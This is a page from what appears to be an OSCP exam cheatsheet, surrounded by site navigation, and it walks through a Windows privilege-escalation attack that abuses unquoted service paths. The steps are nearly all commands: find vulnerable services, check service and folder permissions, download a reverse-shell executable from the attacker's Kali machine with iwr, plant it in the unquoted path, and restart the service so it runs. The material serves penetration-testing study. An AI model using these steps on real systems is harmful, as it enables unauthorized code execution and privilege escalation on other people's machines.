OSCP Cheatsheet
  • Reference List
  • Basic
  • Methodology
    • Basic Scans
    • Service Enumeration
      • TCP: HTTP(S) - 80 / 443
      • TCP: SMB - 139 / 445
      • TCP: FTP - 21
      • TCP/UDP: DNS - 53
      • TCP: SSH - 22
      • TCP/UDP: LDAP - 389 / 636 / 3268
      • TCP/UDP: Kerberos - 88
      • UDP: SNMP - 161
      • TCP: SMTP - 25
      • TCP: RDP - 3389
      • TCP: RPC - 135 / 593
      • TCP: Evil-WinRM - 5985 / 5986
      • TCP: MYSQL - 3306
      • TCP: MSSQL - 1433
      • TCP: Confluence - 8090
    • Extras
  • File Transfer
  • KeePass Database
  • Shells
  • Enumeration
    • Linux
    • Windows
    • Git
  • Privilege Escalation
    • Linux
      • Abusing Cron Jobs
      • Abusing Password Authentication
      • Abusing Setuid Binaries and Capabilities
      • Abusing Sudo
      • Exploits
    • Windows
      • Service Binary Hijacking
      • DLL Hijacking
      • Unquoted Service Paths
      • Scheduled Tasks
      • Exploits
  • Port Forwarding
    • Linux
    • Windows
  • Attacks
    • Public Exploits
    • User Creation
    • Password Cracking
      • Custom Rules
      • Custom Password List
    • Phishing
    • SQLi
  • Active Directory
    • Enumeration
    • Attack
    • Lateral Movement
    • Persistence
Powered by GitBook
On this page
  1. Privilege Escalation
  2. Windows

Unquoted Service Paths

1

Get a list of services that is vulnerable to unquoted attack

wmic service get name, pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """

NOTE: Run the above command in command prompt

2

Check if can start and stop the service

Start-Service <Service Name>
Stop-Service <Service Name>
3

Check user's permission in the respective paths

icacls "<Path>"

EXAMPLE:

icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Enterprise Apps"
4

Craft a payload that returns reverse shell

Shells

5

Download the payload into target machine

iwr -uri http://<Kali IP Address>/<Unquoted Path Name>.exe -Outfile <Unquoted Path Name>.exe
6

Place payload into path

copy <Payload> '<Unquoted Path Name>'

EXAMPLE:

copy .\Current.exe 'C:\Program Files\Enterprise Apps\Current.exe'
7

Restart the service

Stop-Service <Service Name>
Start-Service <Service Name>
PreviousDLL HijackingNextScheduled Tasks

Last updated 23 days ago